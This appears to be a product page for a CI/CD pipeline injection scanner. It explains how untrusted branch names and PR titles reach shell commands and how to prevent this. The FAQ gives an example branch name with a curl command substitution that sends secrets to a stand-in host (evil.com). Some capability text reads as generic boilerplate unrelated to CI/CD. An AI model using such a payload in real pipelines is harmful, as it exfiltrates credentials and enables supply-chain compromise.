CI/CD Pipeline Injection Scanner
Identifies command injection in CI/CD pipeline configurations.
What is CI/CD Pipeline Injection?
CI/CD Pipeline Injection occurs when untrusted input (issue titles, branch names, PR descriptions) is incorporated into pipeline commands without sanitization. Attackers can inject shell commands through these inputs, executing arbitrary code in the CI/CD environment with access to secrets and deployment capabilities.
Why is This Important?
CI/CD systems have access to source code, deployment credentials, cloud tokens, and production systems. Command injection here can steal all secrets, modify source code, push backdoored releases, or pivot to production infrastructure. It's a high-value target for supply chain attacks.
How It Works
1. Attack Surface Mapping
Identifies complex attack vectors including race conditions, desync points, and logic flaws in your application.
2. Advanced Exploitation
Executes sophisticated attack techniques that bypass traditional security controls and detection mechanisms.
3. Impact Assessment
Demonstrates real-world impact with detailed exploitation chains and business risk analysis.
Key Capabilities
Expert-level security testing for sophisticated vulnerabilities that evade traditional scanning tools.
- Race condition and timing attack detection
- Request smuggling and desync analysis
- Business logic flaw identification
- Chained exploit development
- Protocol-level vulnerability testing
Frequently Asked Questions
What inputs can be used for CI/CD injection?
Injection vectors: branch names (git checkout ${branch}), PR/issue titles (echo processing: ${title}), commit messages, tag names, workflow input parameters, and any external data incorporated into shell commands in pipeline scripts.
How does a typical CI/CD injection work?
Example: Pipeline runs echo "Building branch: ${BRANCH_NAME}". Attacker creates branch named '$(curl http://evil.com/steal?secrets=$SECRETS)'. When pipeline runs, the command substitution executes, exfiltrating secrets to attacker's server.
What can attackers achieve?
Potential impact: steal all CI/CD secrets (cloud credentials, API keys), modify source code and push changes, create backdoored releases, access production deployments, mine cryptocurrency on CI resources, and establish persistent access to the development infrastructure.
How do I prevent CI/CD injection?
Prevention: treat all external input as untrusted, use environment variables not shell interpolation, quote all variables, avoid shell where possible (use actions/libraries), use restricted shell execution, audit pipeline configurations, implement least-privilege for CI secrets, and use OIDC instead of long-lived credentials.
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